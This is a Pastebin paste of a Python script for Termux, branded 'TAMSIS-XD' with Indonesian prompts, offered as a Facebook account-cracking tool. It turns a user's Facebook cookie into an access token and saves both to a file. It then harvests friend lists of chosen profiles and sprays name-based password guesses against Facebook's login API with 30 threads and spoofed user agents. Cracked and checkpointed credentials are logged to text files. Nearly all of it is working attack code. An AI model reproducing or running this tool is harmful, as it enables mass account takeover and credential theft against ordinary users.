Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os,requests,json,time,re,random,sys,uuid,string,subprocess,bs4
- os.system("chmod 777 /data/data/com.termux/files/usr/bin/*")
- from string import *
- from concurrent.futures import ThreadPoolExecutor as tred
- from bs4 import BeautifulSoup as sop
- tamsis="PEWARNA"
- P = '\x1b[1;97m' # PUTIH
- M = '\x1b[1;91m' # MERAH
- H = '\x1b[1;92m' # HIJAU
- K = '\x1b[1;93m' # KUNING
- B = '\x1b[1;94m' # BIRU
- U = '\x1b[1;95m' # UNGU
- O = '\x1b[1;96m' # BIRU MUDA
- tamsis="global"
- loop,ua,id,ok=0,[],[],[]
- plc=[]
- tamsis="logo"
- def logo():
- os.system("clear")
- print(f"""{M}
- ╔════╗╔═══╗╔═╗╔═╗╔═══╗╔══╗╔═══╗
- ║╔╗╔╗║║╔═╗║║║╚╝║║║╔═╗║╚╣╠╝║╔═╗║
- ╚╝║║╚╝║║─║║║╔╗╔╗║║╚══╗─║║─║╚══╗ {P}
- ──║║──║╚═╝║║║║║║║╚══╗║─║║─╚══╗║
- ──║║──║╔═╗║║║║║║║║╚═╝║╔╣╠╗║╚═╝║
- ──╚╝──╚╝─╚╝╚╝╚╝╚╝╚═══╝╚══╝╚═══╝
- """)
- def ua_api():
- android_version = subprocess.check_output('getprop ro.build.version.release',shell=True).decode('utf-8').replace('\n','')
- build = subprocess.check_output('getprop ro.build.id',shell=True).decode('utf-8').replace('\n','')
- fblc = 'en_GB'
- sim_id = subprocess.check_output('getprop gsm.operator.alpha',shell=True).decode('utf-8').split(',')[0].replace('\n','')
- fbmf = subprocess.check_output('getprop ro.product.manufacturer',shell=True).decode('utf-8').replace('\n','')
- fbbd = subprocess.check_output('getprop ro.product.brand',shell=True).decode('utf-8').replace('\n','')
- fbsv = android_version
- fbca = subprocess.check_output('getprop ro.product.cpu.abilist',shell=True).decode('utf-8').replace(',',':').replace('\n','')
- fbdm = '{density=2.0,height='+subprocess.check_output('getprop ro.hwui.text_large_cache_height',shell=True).decode('utf-8').replace('\n','')+',width='+subprocess.check_output('getprop ro.hwui.text_large_cache_width',shell=True).decode('utf-8').replace('\n','')
- for i in range(10000):
- model = random.choice(['V2057A','I2208','V2228','V1922A','V1916A','V1930A','vivo Y55A','vivo Y55A','I2018','vivo 1707','V2168A','V2228','V1836A','V1930A','V2057A','vivo 1707','V2121A','V2121A','V2147','V1824A'])
- fbap = random.choice(['414.0.0.30.113','414.0.0.30.113','354.0.0.8.108','354.0.0.8.108','405.0.0.16.112','414.0.0.30.113','414.0.0.30.113','413.0.0.30.104','414.0.0.30.113','408.1.0.16.113'])
- fbbv = str(random.randint(111111111,999999999))
- user = '[FBAN/FB4A;FBAV/'+fbap+';FBBV/'+fbbv+';FBDM/{density=2.0,width=720,height=1406};FBLC/'+fblc+';FBRV/'+str(random.randint(000000000,999999999))+';FBCR/'+sim_id+';FBMF/vivo;FBBD/vivo;FBPN/com.facebook.katana;FBDV/'+model+';FBSV/'+android_version+'.0;FBOP/1;FBCA/arm64-v8a:;]'
- ua.append(user)
- def crack(ids,nama,pw):
- try:
- global loop,ok
- print("\r"+P+"["+H+"TAMSIS-XD"+P+"] "+H+"Cracking "+K+str(loop)+P+"/"+K+str(len(id))+H+" OK"+P+" :"+H+str(len(ok)),end="\r")
- except Exception as e:print(e)
- try:akhir=nama.split(" ")[1]
- except:akhir="skip"
- for pws in pw:
- try:
- pas=pws.replace("awal",nama.split(" ")[0]).replace("Awal",nama.split(" ")[0]).replace("akhir",akhir).replace("Akhir",akhir).replace("nama",nama).replace("Nama",nama)
- if "skip" in pas:continue
- else:pass
- po=requests.post('https://b-api.facebook.com/method/auth.login',headers={'accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'content-type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32', 'x-fb-friendly-name': 'authenticate', 'x-fb-http-engine': 'Liger','user-agent': random.choice(ua)},data={'email':ids,'password':pas,'cpl':'true','credentials_type':'password','error_detail_type':'button_with_disabled','source':'login','format':'json','generate_session_cookies':'1','generate_analytics_claim':'1','generate_machine_id':'1'}).json()
- if 'session_key' in po:
- open("TAMSIS-OK.txt","a").write(f"{ids}|{pas}\n")
- print(f"\r{P}[{H}TAMSIS-OK{P}]{H} {ids} | {pas}")
- ok.append("c")
- elif "Login approvals are on. Expect an SMS shortly with a code to use for log in" in str(po):break
- elif 'www.facebook.com' in po['error_msg']:
- open("TAMSIS-CP.txt","a").write(f"{ids}|{pas}\n")
- if plc[0] in ["y","Y"]:
- print(f"\r{P}[{K}TAMSIS-OK{P}]{K} {ids} | {pas}")
- else:pass
- break
- else:continue
- except requests.exceptions.ConnectionError:time.sleep(30)
- except Exception as e:print(e)
- loop+=1
- def password():
- logo()
- inpu=input("TAMPILKAN HASIL CP ? (Y/n): ")
- plc.append(inpu)
- logo()
- print(f"\t {P} KETIK {H}'stop'{P} UNTUK BERHENTI")
- print(f"{P}contoh : {K}awal123,awalakhir,awal akhir,nama")
- pw=[]
- jum=1
- while True:
- pas=input(f"{P}MASUKAN PW KE {jum} : ")
- if len(pas)==0:continue
- elif pas in ["stop","Stop"]:
- break
- else:pw.append(pas);jum+=1
- if len(pw)==0:print("PASSWORD MINIMAL SATU");password()
- else:pass
- print("TOTAL PASSWORD : "+str(len(pw)))
- ua_api()
- logo()
- with tred(max_workers=30) as gas:
- try:
- for user in id:
- ids,names = user.split('|')[0],user.split('|')[1].lower()
- gas.submit(crack,ids,names,pw)
- except Exception as e:print(e)
- def login():
- logo();data2={};data={};ses=requests.Session();cok=input("cookies facebok : ")
- try:
- link = ses.post('https://graph.facebook.com/v16.0/device/login/', data={'access_token': '661587963994814|ffe07cc864fd1dc8fe386229dcb7a05e', 'scope': ''}).json();kode,user = link['code'],link['user_code'];vers = bs4.BeautifulSoup(ses.get(f'https://mbasic.facebook.com/device', cookies={'cookie': cok}).content, 'html.parser');item = ['fb_dtsg','jazoest','qr']
- for x in vers.find_all('input'):
- if x.get('name') in item:aset = {x.get('name'):x.get('value')};data.update(aset)
- data.update({'user_code':user});meta = bs4.BeautifulSoup(ses.post('https://mbasic.facebook.com'+vers.find('form', method='post').get('action'), data=data, cookies={'cookie': cok}).text, 'html.parser');xzxz = meta.find('form',{'method':'post'})
- for x in xzxz('input',{'value':True}):
- try:
- if x['name'] == '__CANCEL__' : pass
- else:data2.update({x['name']:x['value']})
- except Exception as e:pass
- ses.post(f'https://mbasic.facebook.com{xzxz["action"]}', data=data2, cookies={'cookie':cok});token = ses.get(f'https://graph.facebook.com/v16.0/device/login_status?method=post&code={kode}&access_token=661587963994814|ffe07cc864fd1dc8fe386229dcb7a05e').json()['access_token'];open("data.txt","w").write(f"{cok}|{token}");exit("kamu berhasil login")
- except Exception as e:cetak("[bold red] cookie invalid");exit(e)
- def dump():
- logo()
- try:data=open("data.txt","r").read().split("|")
- except:exit("KAMU BELUM LOGIN")
- cok=data[0]
- if not "c_user" in cok:exit("LOGIN ULANG")
- tok=data[1]
- if not "EAAJ" in tok:exit("LOGIN ULANG")
- print(P+"GUNAKAN KOMA UNTUK MASSAL")
- user=input("USER/ID : ")
- for uid in user.split(','):
- try:use=int(uid)
- except:
- try:use=re.findall('"userID":"(.*?)","',str(sop(requests.get("https://www.facebook.com/"+uid).text,"html.parser")))[0]
- except Exception as e:continue
- try:
- freya=requests.get('https://graph.facebook.com/'+str(use)+'?fields=friends.fields(id,name).limit(5000)&access_token='+tok,cookies={'cookie': cok}).json()['friends']['data']
- for xz in freya:
- if xz['id']+'|'+xz['name'] in id:pass
- else:id.append(xz['id']+'|'+xz['name'])
- except Exception as e:continue
- print("TOTAL ID : "+str(len(id)))
- time.sleep(1)
- password()
- def menu():
- logo()
- print(f"{P}KETIK 'login' JIKA KAMU BELUM LOGIN")
- inp=input("crack/login : ")
- if inp in ["login","Login"]:login()
- else:dump()
- menu()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement